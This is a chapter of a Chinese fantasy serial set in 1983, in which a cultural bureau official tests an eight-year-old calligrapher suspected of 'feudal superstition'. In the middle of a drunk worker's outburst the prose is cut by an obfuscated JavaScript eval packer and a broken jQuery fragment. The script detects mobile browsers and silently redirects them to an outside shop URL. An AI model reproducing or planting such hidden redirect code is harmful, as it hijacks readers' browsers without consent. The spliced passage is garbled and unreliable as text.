文化局的人住了下来。
他姓韩，叫韩志明。文化局的干事，三十出头，戴金丝眼镜，说话不急不慢，看着像个搞学问的。但他不是搞学问的，他是搞"落实政策"的。1983年，全国正在开展"清除精神污染"运动，文化系统要配合，清除封建迷信。韩志明的任务就是到基层核实有没有"封建迷信活动"。
他到的第二天，去了厂区。陈主任在厂办小会议室接待了他，泡了茶，把事情的来龙去脉说了一遍。从仓库闹邪开始，到马半仙做法事，到张清写字，到仓库好了。
"你说的张清，就是老张家那个小孩？"
"对。张立本的女儿。今年八岁，上三年级。"
"她写的那个字，真有那种效果？"
陈主任沉默了一下。"韩干事，我跟你说实话。仓库好了，是不是那个小孩的字起的作用，我不确定。但仓库确实在那个小孩写字之后好了。这是事实。"
"你信那是字的效果？"
"我不信这些。但我信一个事实，仓库好了，以后再没出过问题。"
韩志明在笔记本上记了几笔。
"那个周伯年呢？"
"周老师教了三十年书。教语文。人品没得说。他教小孩写字，那是课外活动，学校有书法兴趣小组。"
"写字和写符，"
"韩干事，"陈主任放下茶杯，"那个小孩写的是毛笔字。就是毛笔字，虽然写法有点特殊，但你看任何一个字，都是汉字。你不能指着'静'这个字说'这是符'。"
韩志明推了推眼镜。"举报信里说的是'用符箓给工人治病'。有个女同志失眠，小孩写了一张纸，给了她。她当天晚上就睡着了。"
"那个女同志失眠三年了。在卫生院看过，吃过药，没用。小孩给她一张纸，她睡着了。你告诉我，这算好事还是坏事？"
韩志明没有回答。
"陈主任，我想见见那个小孩。"
消息传到张清耳朵里的时候，已经是下午了。刘婶来告诉她的。
"小清，文化局那个人要见你。今天下午，在厂办。你爸和周老师都在。"
下午三点，张清跟着父亲去了厂办。
周伯年已经在会议室里了。老人穿着蓝色中山装，坐得很直。面前放着一杯茶，没喝。
韩志明坐在对面。面前放着笔记本和钢笔。陈主任坐在主位上。
张立本站在张清身后。他的手搭在张清肩膀上，力度很轻，但张清能感觉到那只手在用力。
"这就是张清。"陈主任说。
韩志明看着张清。透过金丝眼镜，仔细而平静。
"张清，你几岁了？"
"八岁。"
"你学写字多久了？"
"从六岁开始。我爸让我练的。"
"你跟周老师学？"
"周老师教我书法。"
韩志明看了看周伯年。周伯年点了一下头。
"你给仓库写了一张纸？"
"写了一个字。'清'。"
"为什么写'清'？"
"周老师说仓库'不清'。里面闷，空气不好。写个'清'字，意思是让空气变好。"
"你还会写什么字？"
"很多。静、安、通、定。"
"这些字有什么特别的？"
张清想了一下。"没什么特别的。就是写字。"
"但有人说有特殊的效果？比如仓库好了，刘婶的失眠好了。"
"那可能是巧合。仓库好了是因为通风变好了。刘婶的失眠好了是因为她心情放松了。跟我写的字没关系。"
韩志明笑了一下。"巧合？"他放下钢笔，看着张清。"张清，我想看你写字。"
会议室里安静了。
周伯年开口了。"韩干事，一个孩子写字，有什么好看的？"
"周老师，我就是好奇。听说这个孩子的字'有劲道'。我想见识一下。"
周伯年看着他。老人摘下老花镜，擦了擦镜片，又挂回去。
"韩干事，张清是我教的学生。她的字，就是字。不是什么符。不是什么法。就是一个八岁小孩写的毛笔字。"
"我知道。"韩志明从公文包里拿出一张宣纸，裁成四方的小块。又拿出一支狼毫笔。"张清，你用这支笔，写一个字给我看看。"
张清看了看父亲。父亲的手在她肩膀上，力度没有变。她又看了看周伯年。
周伯年点了一下头。
"好。"张清说。
她没有用韩志明的狼毫。她用自己的乌木笔。她磨了墨，磨了大概两分钟，墨汁浓稠，泛着一层光。
然后她落笔。
她写了一个"定"字。楷书。端正的楷书。横平竖直，起笔收笔清清楚楚。
写完了。她把笔放下。
韩志明看着那张纸。看了很久。
那个"定"字，结构稳，笔画匀，每一笔的起止都清清楚楚。确实是一个八岁小孩不该有的功底。但他要看的不是这个。他要看的是"效果"。
他盯着那个"定"字，盯了大概三十秒。
什么都没有发生。纸还是那张纸。字还是那个字。没有光，没有气，没有任何"特效"。
"写完了？"
"写完了。"
"你觉得，你写的这个字，有什么特别的吗？"
"没有。就是字。"
韩志明又看了那张纸一会儿。然后他拿起公文包，站了起来。
"陈主任，情况我大概了解了。我会写一个报告上去，核实情况，未发现封建迷信活动。"
陈主任松了一口气。
"不过，"韩志明看了张清一眼。"这个孩子，字确实写得好。好好培养，将来是个书法家。"
他走到门口，又回头看了一眼。张清站在父亲身边，手里还握着那支乌木笔。
韩志明的眼神在乌木笔上停了一秒。
然后他什么也没说，点了一下头，转身走了。
会议室里只剩下四个人。
陈主任长出了一口气。"总算走了。"
就在这时，会议室的门被推开了。
一个四十来岁的工人闯了进来，满脸通红，一身的酒气。张清认得他，是二车间的老赵。前阵子马半仙在小卖部门口嚼舌根的时候，老赵听得最认真。
"谁是张清？"老赵拍着桌子嚷。"就是你这小丫头搞的封建迷信？我媳妇听了你的事，非要去找你写什么符，贴得满屋子都是。我说了不许，她跟我吵了一架。你们到底在搞什么名堂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809182|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
？"
陈主任站起来："老赵，你喝醉了。有什么事明天再说。"
"我没醉！"老赵又拍了一下桌子。"今天必须说清楚。一个八岁小孩写几张破纸就治病？你们当全厂的人都是傻子？那是不是以后有病不用上医院了，找这丫头写张纸就行了？"
会议室里气氛紧了。陈主任和保卫科的人想上前拉他，老赵身板壮，一把甩开。
张清没有慌。
她从书包里拿出那张昨天晚上写的"定"字。就是那张毛边纸，松烟墨写的楷书。她把纸放在桌上，手掌按住，轻轻往老赵的方向推了一下。
她放了"意"。
很轻。很稳。像水面上的波纹，从纸面散开。
老赵还在嚷，声音很大。但说到一半，他的声音小了下来。他看着桌上那张纸，愣了一下。
然后他坐下了。
没人按他，他自己就坐下了。腿一软，就坐下了。坐在椅子上，像是被什么东西按住了肩膀。
会议室里安静了。
老赵眨了眨眼。他想站起来，但身体不听使唤。不是不能动，是不想动。一种从骨头里渗出来的安定感，让他不想闹了。他说不出为什么。
"我……"老赵挠了挠头，脸上的红退了一些。"我刚才说什么来着？"
陈主任看了张清一眼。张清把纸收了回来，塞进书包里。
"老赵，你先回去。有什么事明天再说。"
老赵站起来，迷迷糊糊地走了。走到门口还回头看了一眼，像是不明白自己刚才为什么坐下。
周伯年走到桌前，看着那张纸留下的痕迹。
"你故意的。"他说。
"什么？"
"你没有放'意'进去。"
张清没有说话。
"你感觉到了他在试探你。所以你写了一个普通的字，没有'意'的字。"
张清点了点头。
"做得对。"周伯年说。"不该让人看见的时候，就不让人看见。"
张立本的手从张清肩膀上松开了。他蹲下来，看着张清。
"你刚才，为什么不放那个什么'意'进去？"
张清想了想。"因为那个人不是好人。"
"你怎么知道？"
"我感觉到了。他的眼睛，和那个穿中山装的人一样。"
张立本的脸色变了。"什么穿中山装的人？"
张清把上次的事说了。傍晚，厂区外面，土路上，中山装中年人，举着一张纸。
张立本听完，沉默了很久。然后他站起来，走到窗前。
"周老师，"他说，"你跟我爹，到底是什么关系？"
周伯年看着他。"我是你爹的徒弟。"
"我知道。但我爹死的时候，我只有十九岁。他跟我说了一句话。"
"什么话？"
"'笔意不能断。'"
周伯年的眼眶红了。
"你爹，是个好人。"
"我知道。但他死了。因为他写的字。"
会议室里安静了。
张清站在这两个大人中间。她看着父亲弯曲的背影，看着周伯年泛红的眼眶。
她知道，从这一刻起，事情变得不一样了。因为她看见了父亲的手在抖。